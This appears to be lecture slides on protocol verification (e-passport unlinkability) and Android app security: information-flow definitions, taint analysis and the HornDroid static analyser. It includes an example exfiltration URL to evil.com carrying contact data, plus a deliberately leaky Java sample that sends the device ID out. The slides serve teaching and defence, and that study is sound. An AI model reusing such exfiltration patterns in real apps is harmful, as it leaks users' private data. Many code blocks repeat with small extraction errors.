• The goal of the protocol is that
  • only parties with physical access to the passport can read the data stored therein (access control)
  • nobody can track the owner (unlinkability)
• $ke, km$ derived from owner’s birthdate, expiry date, etc.
  
  • $ke$ used for Triple-DES encryption
  
  • $km$ used for Message Authentication Code
  
  • $k_T, k_R$ used to derive a session key
Unlinkability

- Intuitively, we can model unlinkability as follows:

  new $ke_1$.new $ke_2$.new $km_1$.new $km_2$.new $d$.  
  ($Passport1$ | $Passport2$ | $Reader$ | $Phase1$; $Passportchoice$)

- We first create the key material for two different passports and then let these passwords interact with the reader
  - channel $d$ is used by the reader to read the keys from the passport
  - After that, we run either $Passport1$ or $Passport2$ (process $Passportchoice$) and the attacker has to guess which passport is running
Error messages

• The ICAO standard specifies that the passport must answer with an error message to every ill-formed message from the reader, but it does not specify which one.

• French e-passports reply with two distinct error codes:
  • if the MAC is incorrect, error “6300”
  • if the MAC is correct but the nonce check fails, error “6A80”

• The German passport replies with the same error code.

• Do you see any difference?
Error messages

• The ICAO standard specifies that the passport must answer with an error message to every ill-formed message from the reader, but it does not specify which one

• French e-passports reply with two distinct error codes
  • if the MAC is incorrect, error “6300”
  • if the MAC is correct but the nonce check fails, error “6A80”

• The German passport replies with the same error code

• Do you see any difference?

• In 2010, Arapinis et al. showed that the French implementation breaks the unlinkability property
Attack on the French e-passport

• The attacker has to be able
  • to sniff an authorized communication
  • to communicate with the e-passport (doable up to 50mt)

\[ ER = \{ n_R, n_T, k_R \} \text{ke}, \text{MAC}_{km}(ER) \rightarrow \]

\[ ET = \{ n_T, n_R, k_T \} \text{ke}, \text{MAC}_{km}(ET) \rightarrow \]

\[ n_T \rightarrow \]

\[ \text{Get}_C \rightarrow \]

\[ \text{code} = 6A80 ? 6300 \]
Conclusion

• We have learned how to use ProVerif to model and verify the security of cryptographic protocols

• Much more exciting ongoing work in this field

  • advanced security properties (e.g., other privacy properties expressed as observational equivalence)

  • advanced cryptographic protocols (e.g., web, e-voting, secure chatting, TLS, etc.)

  • efficient resolution procedures for challenging scenarios (e.g., stateful computations)

  • verification of cryptographic protocol implementations (e.g., written in ML, Java, or C)

• and much more…
Part II

Security Analysis of Mobile Apps
Santa Tracker
Google

#AndroidWear
Top 'free' Android apps secretly leak users' private contact lists to advertising companies

- Many of top 50 free apps leak data such as private contacts lists
- No warning that apps will share information with advertising firms
- 'They are following you. They are getting information about your friends,' says EU Vice President
Android apps 'leak' personal details

22 October 2012  |  Technology

Millions of people are using Android apps that can be tricked into revealing personal data, research indicates.

Scientists tested 13,500 Android apps and found almost 8% failed to protect bank account and social media logins.

These apps failed to implement standard scrambling systems, allowing "man-in-the-middle" attacks to reveal data that passes back and forth when devices communicate with websites.
iOS, Android Apps Found Leaking User Privacy Data, Researchers Say

MARITZA SANTILLAN

OCT 24, 2016

LATEST SECURITY NEWS
Gooligan malware attack hits one million Google accounts

The malware attack hijacks phones and uses them to download unauthorised apps from outside the Google Play store

Exploits extremely slow patching process

By MATTHEW REYNOLDS

Thursday 1 December 2016
Warning! Over 900 Million Android Phones Vulnerable to New 'QuadRooter' Attack

Sunday, August 07, 2016  Swati Khandelwal
Android owners warned of 'most sophisticated and targeted mobile attack ever seen' that can take over phones and even uninstall itself if it thinks it has been spotted

- Found a hack designed by the group who released Pegasus on iOS handsets
- Called Chrysaor, it uses the microphone and camera to spy on users
- If it can't root a device, it requests permissions that still lets it to steal your data
- The malware can also uninstall itself if it is at risk of being detecting
- Only a few Androids have been infected in hotspots or war stricken areas

By STACY LIBERATORE FOR DAILYMAIL.COM
Breaks sandbox separation logic by notifications (can be read by everyone) and accessibility service (can be read and write everything)
Outline

- Android architecture
- Security model
- Security, what? (security definitions)
- Security, how? (enforcement techniques)
Android architecture
It is like Java!

We know how to handle it…
It is like Java!

We know how to handle it…

Not quite!
Dalvik VM

public static int add(int i, int j) {
    return i + j;
}

public static int add(int, int);

Code:
0: iload_0
1: iload_1
2: iadd
3: ireturn

.JVM
.Bytecode
(stack-based)

public static int add(int, int);

.Dalvik
.Bytecode
(register-based)

.method public static add(II)I
    add-int v0, p0, p1
    return v0
.end method
JNI

- Java can call C/C++ code and vice versa
App components
Activities

• Application components that provide users with a screen through which they can interact (take a photo, send an sms, etc.)

• Each activity has a different window (separate user interface)

• An app typically has multiple activities, which can possibly communicate with and trigger each other
Inter-Process Communication

• An Intent is a messaging object that is used to request an action from another app component

• `startActivity()` (or can get result via `startActivityForResult()` and `onActivityResult()` callback)

• `startService()` (component that performs operations in the background without user interfaces)

• `sendBroadcast()` (can be received by any app)
Intent types

- **Explicit**: specify the component by name (typically used within the same app)

- **Implicit**: specify a general action, which allows a component from another app to handle it (e.g., show user location on the map)
A broadcast receiver is an Android component used to register for system or application events.

All registered receivers for an event are notified by the Android runtime once this event happens.
Android’s app Lifecycle
Content providers

- Used to store data and share them with other applications securely (access control)

- Provide convenient abstraction
Outline

- Android architecture
- Security model
- Security, what? (security definitions)
- Security, how? (enforcement techniques)
Key concepts

• Application sandbox, enforced at the kernel level
• Secure IPC (sockets, intents, etc.)
• Least privilege (system services)
• Code signing (application as well as OS updates)
• Android permissions
Android permissions

- By default, applications cannot interfere with others, unless they require special permissions...

- Accepted by users, enforced by OS

Traditionally at compile time

now (>6.0) at run time, mitigates usability problems
Outline

• Android architecture
• Security model
  • Security, what? (security properties)
• Security, how? (enforcement techniques)
Security analysis
Provable security

- We focus on techniques to **formally prove** the security of an application
  - Much harder than bug finding
- We need rigorous
  - security **definitions**
  - semantic **models**
  - **verification** techniques
Confidentiality

• We would like to protect sensitive data from malicious apps

• **Access control does not suffice**: e.g., calendar can access the address book (e.g., to send invitations) but not to leak it to third-party servers

• We need to look inside of the box and reason about information flow….
A program is secure iff high inputs do not interfere with low-level view of the system.

- Variables partitioned into high and low (can be generalised to arbitrary security lattices)
A program is secure iff high inputs do not interfere with low-level view of the system.

- Property that talks of two runs of the program as opposed to one: technically, an hyperproperty [Clarkson and Schneider '08]
Non-interference, formally

[[ C ]] : Int x Int \rightarrow (Int x Int)_\perp

C is secure if and only if
\forall \text{mem, mem'}. \text{mem} =_L \text{mem'} \Rightarrow [[C]] \text{mem} \approx_L [[C]] \text{mem'}

Low-memory equality: (h, l) (h', l') iff l = l'

C's semantic behavior

Low-view \approx_L: indistinguishability by attacker

Non-termination
Side channels

• \( l := h \) (direct channel)

• if \( h \) then \( l := 1 \) else \( l := 2 \) (indirect channel)

• while \( h = 1 \) do skip (termination channel)

• if \( h = 1 \) then \( C_{\text{long}} \) else skip (timing channel)

• and many others (e.g., probabilistic due to scheduling)
Taint analysis

• Non-interference often too strong (basically, secret information cannot be used to produce any visible effect) and difficult to enforce

• Taint analysis focuses on direct channels only, requiring that taint (e.g., confidential) information is never directly leaked to public sinks

• The idea is to track taint across assignments…

\[ x := y + 1 \]
out (x)

If \( y \) is tainted, also \( x \) gets tainted and the output is rejected by the analysis.
Weak secrecy [Volpano'99]

if (h=0) then l:=1
else l:=2
out 1

C satisfies weak secrecy iff whenever (C, mem)→*_{D} (C', mem'), D is non-interferent

• Idea: “extract” all possible sequential runs and check that each of them is non-interference
Drawbacks

• Very syntactic: "extract" all assignments...what does it mean in a language with side effects?

• e.g., expressions used in guards can have side-effects: e.g., if (h:=0)=0 then ... else ...

• What about low-level code (e.g., bytecode) that can access its own program text as data? If we extract only part of it, program memory will differ in the extracted variant...

```plaintext
1. load r1, mem[2] // r1 := opcode of instr. 2
2. bz r1, addr // branch if zero
3. store r1, mem[low] // store at [low]
```
Explicit secrecy
[Schoepe and Sabelfeld '16]

- Weak secrecy starting point
- Works for arbitrary language
- Split configurations into **state** and **control**
- Record only **changes to state** as functions
\[ x_1 := e_1; \quad \leadsto \quad f_1(m) = m[x \mapsto m(e_1)] \]

\[ \text{if}(e) \ldots \quad \leadsto \quad f_2(m) = m \]

\[ \ldots \quad \leadsto \quad \ldots \]

\[ x_n := e_n; \quad \leadsto \quad f_n(m) = m[x \mapsto m(e_n)] \]

\[ f = f_n \circ \cdots \circ f_1 \]
\[ x_1 := e_1; \quad \leadsto \quad f_1(m) = m[x \mapsto m(e_1)] \]

\[ \text{if}(e) \ldots \leadsto f_2(m) = m \]

\[ \ldots \quad \quad \ldots \]

\[ x_n := e_n; \quad \leadsto \quad f_n(m) = m[x \mapsto m(e_n)] \]

\[ f = f_n \circ \cdots \circ f_1 \]

• Knowledge as changes to state:

\[ k_e(m_0, f) = \{ m | m_0 =_L m \land f(m) =_L f(m_0) \} \]
\( x_1 := e_1; \quad \sim \quad f_1(m) = m[x \mapsto m(e_1)] \)

\[ \text{if}(e) \ldots \quad \sim \quad f_2(m) = m \]

\[ \ldots \]

\( x_n := e_n; \quad \sim \quad f_n(m) = m[x \mapsto m(e_n)] \)

\[ f = f_n \circ \cdots \circ f_1 \]

- Knowledge as changes to state:

\[ k_e(m_0, f) = \{ m | m_0 =_L m \land f(m) =_L f(m_0) \} \]

- Secure when knowledge doesn’t increase

\[ \langle c, m \rangle \xrightarrow{\_}_f^* \langle c', m' \rangle \Rightarrow \forall m_0. [m_0]_L \subseteq k_e(m_0, f) \]
• if \( l=0 \) then \( l:= l \times h \) else skip

• if \( h \) then \( l:=1 \) else \( l:=2 \)

• if \( h=0 \) then \( l:=h \) else \( l:=0 \)
• if l=0 then l:= l \times h else skip

• if h then l:=1 else l:=2

• if h=0 then l:=h else l:=0
• if \( l = 0 \) then \( l := l \times h \) else skip

• if \( h \) then \( l := 1 \) else \( l := 2 \)

• if \( h = 0 \) then \( l := h \) else \( l := 0 \)
• if \( l=0 \) then \( l:= l \times h \) else skip

• if \( h \) then \( l:=1 \) else \( l:=2 \)

• if \( h=0 \) then \( l:=h \) else \( l:=0 \)

\[ f(m)=m[l \rightarrow m(l) \times m(h)] \]
• if \( l=0 \) then \( l:= l \times h \) else skip

• if \( h \) then \( l:=1 \) else \( l:=2 \)

• if \( h=0 \) then \( l:=h \) else \( l:=0 \)
• if \( l=0 \) then \( l:= l \times h \) else skip

• if \( h \) then \( l:=1 \) else \( l:=2 \)

• if \( h=0 \) then \( l:=h \) else \( l:=0 \)
• if $l=0$ then $l:= l \times h$ else skip

• if $h$ then $l:=1$ else $l:=2$

• if $h=0$ then $l:=h$ else $l:=0$
Machine code

1. load r1, mem[2]  // $f_1(m, r) = (m, r[r_1 \mapsto m[2]])$
2. bz r1, addr     // $f_2(m, r) = (m, r)$
3. store r1, mem[1] // $f_3(m, r) = (m[l \mapsto r[r_1]], r)$

- $m[2]$ contains constant
- $f_3 \circ f_2 \circ f_1$ secure
- Control flow not recorded
- Properly handles using code as data
Privilege escalation

[Davi et al., '10]

- E.g., a vulnerability in the Phone app (here Application B) used to allow any app to make arbitrary phone calls
Example: use Internet browser for Internet permission

1) Ask Browser to open URL
2) Browser loads URL
   - GET: Files are downloaded, by default to SD card
   - POST: Send data to server

http://evil.com/post?contact1name=Foo&contact2phone=1234 ....
Other example?

Breaks sandbox separation logic by notifications (can be read by everyone) and accessibility service (can read and write everything)
As soon as an application receives a message from another application, a monitor lowers the privileges of the recipient to the intersection of the privileges of the two applications.
Outline

• Android architecture

• Security model

• Security, what? (security properties)

• Security, how? (enforcement techniques)
Dynamic Analysis
(monitors, inlined monitoring, sandboxing, …)

TaintDroid [Enck et al.,’10]
Dr. Android [Micinsky et al.11]
I-ARM-Droid [Davis et al.,’12]
Aurasium [Xu et al.'12]
AppGuard [Backes et al.,’13]
Boxify [Backes et al.,'15]
…
AppGuard

[Backes, Gerling, Hammer, Maffei, von Styp-Rekowsky '13]

- Allows users to grant or remove fine-grained permissions at run-time (way before Android 6.0 and more fine-grained)

- First dynamic analysis technique that does not require any modification of the firmware
  - based on inline reference monitoring

- Academic impact
  - >100 citations in < 3 years

- Technology transfer
  - Installed on > 3 million devices in Germany
FlowDroid [Arzt et al.,’14]
DroidSafe [Gordon et al.’15]
Cassandra [Lortz et al.’15]
JoDroid [Mohr et al., ’16]
HornDroid [Calzavara et al.,’16]
...

Static Analysis
Dynamic vs static

✓ Stop attacks
✓ More precise
✓ Effective against code obfuscation
✗ Security guarantees only for the present run
✗ Run-time overhead (often small)
✗ Possible crashes

✓ Security guarantee for all program runs
✓ Server-side as well as client-side vetting
✓ Purely at compile time
.line 31
input-boolean v1, v0, Lcom/king/core/GameActivity;->mAutoHideOnSubmit:Z

return v1
.end method

.method private pauseAccelerometer()V
.registers 3
.prologue
.line 513
input-boolean v0, v2, Lcom/king/core/GameActivity;->mAccelerometerActive:Z
if-eqz v0, :cond_b
.line 514
input-object v0, v2, Lcom/king/core/GameActivity;->mSensorManager:Landroid/hardware/SensorManager;
input-object v1, v2, Lcom/king/core/GameActivity;->mRotationCompensator:Landroid/hardware/SensorEventListener;
invoke-virtual {v0, v1}, Landroid/hardware/SensorManager;->unregisterListener(Landroid/hardware/SensorEventListener;)V
.line 516
:cond_b
.return-void
.end method

.method private resumeAccelerometer()V
.registers 5
.prologue
.line 507
input-boolean v0, v4, Lcom/king/core/GameActivity;->mAccelerometerActive:Z
if-eqz v0, :cond_e
.line 508
input-object v0, v4, Lcom/king/core/GameActivity;->mSensorManager:Landroid/hardware/SensorManager;
input-object v1, v4, Lcom/king/core/GameActivity;->mRotationCompensator:Landroid/hardware/SensorEventListener;
input-object v2, v4, Lcom/king/core/GameActivity;->mAccelerometer:Landroid/hardware/Sensor;
const/4 v3, 0x0
invoke-virtual {v0, v1, v2, v3}, Landroid/hardware/SensorManager;->registerListener(Landroid/hardware/SensorEventListener;Landroid/hardware/Sensor;)V
.line 510
:cond_e
.return-void
.end method

Bytecode
public class Storage {
  String s;
  int id;
  Storage() {
    this.id = 0;
    this.s = "default";
  }
}

public class Leaky extends Activity {
  onCreate() {
    Storage st = new Storage();
    Storage st2 = new Storage();
    st = st2;
    int i = 42;
    i = st.id;
    foo(i, st, st2);
  }
  void foo(int guard, Storage st, Storage st2) {
    if (guard > 0) {st.s = getDeviceId();}
    send(st2.s, "http://www.myapp.com/");
  }
}
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);

        void foo(int guard, Storage st, Storage st2) {
            if (guard > 0) { st.s = getDeviceId(); }
            send(st2.s, "http://www.myapp.com/");
        }
    }
}
```java
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    public onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
```
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
```java
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
```
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

class Leaky extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
Thanks to VS the analysis may detect the “dead” branch and show that the app is secure.
Value-Sensitivity

Thanks to VS the analysis may detect the "dead" branch and show that the app is secure.

But VS is not enough!
```java
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
```
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    @Override
    public void onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
public class Storage {
  String s;
  int id;
  Storage(){
    this.id = 0;
    this.s = "default";
  }
}

public class Leaky extends Activity {
  onCreate() {
    Storage st = new Storage();
    Storage st2 = new Storage();
    st = st2;
    int i = 42;
    i = st.id;
    foo(i, st, st2);
  }
  void foo(int guard, Storage st, Storage st2) {
    if (guard > 0) {st.s = getDeviceId();}
    send(st2.s, "http://www.myapp.com/");
  }
}
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);

    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);

        void foo(int guard, Storage st, Storage st2) {
            if (guard > 0) {st.s = getDeviceId();}
            send(st2.s, "http://www.myapp.com/");
        }
    }
}
If the analysis is not flow-sensitive, then `i` is abstracted as `{42,0}`
Flow-Sensitivity (registers)

If the analysis is not flow-sensitive, then \( i \) is abstracted as \( \{42,0\} \)

```java
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
```
Flow-Sensitivity (registers)

If the analysis is not flow-sensitive, then i is abstracted as {42,0}

```java
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();
        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
```
Flow-Sensitivity (registers)

Thanks to VS&FS analysis detects the “dead” branch and shows that the app is secure.

If the analysis is not flow-sensitive, then i is abstracted as {42,0}

```java
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42;
        i = st.id;
        foo(i, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
}
```
Flow-Sensitivity (heap)

public class Storage {
  String s;
  int id;
  Storage() {
    this.id = 0;
    this.s = "default";
  }
}

public class Leaky extends Activity {
  onCreate() {
    Storage st = new Storage();
    Storage st2 = new Storage();

    st = st2;
    int i = 42; i = identity(i);
    i = st.id; i = identity(i);
    foo(i, st, st2);

    st2 = new Storage();
    foo(42, st, st2);
  }

  void foo(int guard, Storage st, Storage st2) {
    if (guard > 0) { st.s = getDeviceId(); }
    send(st2.s, "http://www.myapp.com/");
  }

  int identity (int n) { return n; }
}
```java
public class Storage {
    String s;
    int id;
    Storage()
    {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate()
    {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) { st.s = getDeviceId(); }
        send(st2.s, "http://www.myapp.com/");
    }
    int identity (int n) { return n; }
}
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }
    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
    int identity(int n) { return n; }
}
```java
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    public onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; 
        i = identity(i);
        i = st.id; 
        i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
}```
public class Storage {
    String s;
    int id;
    Storage()
        this.id = 0;
        this.s = "default";
    }

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
}
public class Storage {
  String s;
  int id;
  Storage()
  {
    this.id = 0;
    this.s = "default";
  }
}

public class Leaky extends Activity {
  onCreate() {
    Storage st = new Storage();
    Storage st2 = new Storage();
    st = st2;
    int i = 42; i = identity(i);
    i = st.id; i = identity(i);
    foo(i, st, st2);
    st2 = new Storage();
    foo(42, st, st2);
  }
  void foo(int guard, Storage st, Storage st2) {
    if (guard > 0) {st.s = getDeviceId();}
    send(st2.s, "http://www.myapp.com/");
  }
  int identity (int n) { return n; }
}

Flow-Sensitivity (heap)

Thanks to FS the analysis may know that st2 is no longer an alias of st and show that the app is secure
Flow-Sensitivity (heap)

Thanks to FS the analysis may know that \texttt{st2} is no longer an alias of \texttt{st} and show that the app is secure.

But FS is again not enough!
public class Storage {
    String s;
    int id;
    Storage()
        this.id = 0;
        this.s = "default";
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
}
```java
public class Storage {
    String s;
    int id;
    Storage()
    {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate()
    {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }
    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }
    int identity (int n) { return n; }
}
```
```java
public class Storage {
    String s;
    int id;
    Storage()
        this.id = 0;
        this.s = "default";
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }

    int identity(int n) { return n; }
}
```
```java
public class Storage {
    String s;
    int id;

    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    @Override
    public void onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
}
```
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) { st.s = getDeviceId(); }
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
}
Context-Sensitivity

If the analysis is not context-sensitive, then i is abstracted as \{42,0\}

Thanks to FS&CS analysis knows that \texttt{st2} is no longer an alias of \texttt{st} and shows that the app is \textit{secure}.

```java
public class Storage {
    String s;
    int id;
    Storage() {
        this.id = 0;
        this.s = "default";
    }
}

public class Leaky extends Activity {
    public void onCreate() {
        Storage st = new Storage();
        Storage st2 = new Storage();

        st = st2;
        int i = 42; i = identity(i);
        i = st.id; i = identity(i);
        foo(i, st, st2);

        st2 = new Storage();
        foo(42, st, st2);
    }

    void foo(int guard, Storage st, Storage st2) {
        if (guard > 0) {st.s = getDeviceId();}
        send(st2.s, "http://www.myapp.com/");
    }

    int identity (int n) { return n; }
}
```
public class Leaky extends Activity {
    Storage st = new Storage();
    Storage st2 = new Storage();
    onRestart() { st2 = st; }
    onResume() { st2.s = getDeviceId(); }
    onPause() { send(st.s, "http://www.myapp.com/"); }
}
Multiple entry points + Arbitrary order

= Infinite possibilities

```java
public class Leaky extends Activity {
    Storage st = new Storage();
    Storage st2 = new Storage();
    onRestart() { st2 = st; }
    onResume() { st2.s = getDeviceId(); }
    onPause() { send(st.s, "http://www.myapp.com/"); }
}
```
Flow-Sensitivity
(heap)

Multiple entry points + Arbitrary order
= Infinite possibilities

How about:
onRestart() -> OnPause() -> OnResume -> OnPause()?
HornDroid
[Calzavara, Grishchenko, Maffei - EuroS&P'16]

• Predicate abstraction:
  • Bytecode semantics abstracted into Horn clauses
  • Security properties as queries, automatically verified with Z3 (state-of-the-art SMT-Solver)
• Reachability analysis: value-, flow-, and context-sensitive
• Flexibility
  • can leverage any SMT solver
  • refine precision by tweaking Horn clause generation, without touching SMT solver
  • can handle arbitrary reachability queries
  • we encode a taint analysis
• Formal proof of soundness against a precise semantic model
Concrete Semantics

(R-BINOP)
\[ v = \Sigma[r_1] \oplus \Sigma[r_2] \]
\[ R' = R[r_d \mapsto v] \]
\[ \Sigma, \text{binop}_{\oplus} r_d r_1 r_2 \downarrow \Sigma^+[R \mapsto R'] \]

(R-NEWOBJ)
\[ o = \{ c'; (f_x \mapsto 0) \} \]
\[ \ell = p_{c,m,pc} \notin \text{dom}(H) \]
\[ H' = H[\ell \mapsto o] \]
\[ R' = R[r_d \mapsto \ell] \]
\[ \Sigma, \text{new } r_d c' \downarrow \Sigma^+[H \mapsto H', R \mapsto R'] \]

(R-NEWARR)
\[ \text{len} = \Sigma[r_1] \]
\[ a = \tau[(0_\tau)^{\leq \text{len}}] \]
\[ \ell = p_{c,m,pc} \notin \text{dom}(H) \]
\[ H' = H[\ell \mapsto a] \]
\[ R' = R[r_d \mapsto \ell] \]
\[ \Sigma, \text{newarray } r_d r_1 a \downarrow \Sigma^+[H \mapsto H', R \mapsto R'] \]

(R-CAST)
\[ \ell = \Sigma[r_2] \]
\[ \text{type}_H(\ell) \leq \tau \]
\[ R' = R[r_d \mapsto \ell] \]
\[ \Sigma, \text{checkcast } r_s \tau \downarrow \Sigma^+ \]

(R-INSTOFFALSE)
\[ \ell = \Sigma[r_2] \]
\[ \text{type}_H(\ell) \not\leq \tau \]
\[ R' = R[r_d \mapsto \text{false}] \]
\[ \Sigma, \text{instoff } r_d r_s \tau \downarrow \Sigma^+[R \mapsto R'] \]

(R-RETURN)
\[ \alpha = \langle c, m, pc \cdot \_ \_ \cdot R \rangle :: \langle pp' \cdot v^* \cdot st^* \cdot R' \rangle :: \alpha' \]
\[ \alpha'' = \langle pp' \cdot v^* \cdot st^* \cdot R'[r\_ret \mapsto \Sigma[r_{\_ret}]] \rangle :: \alpha' \]
\[ \Sigma, \text{return } \downarrow \Sigma[\alpha \mapsto \alpha''] \]

(R-S_CALL)
\[ \text{lookup}(c', m') = (c', st^*) \]
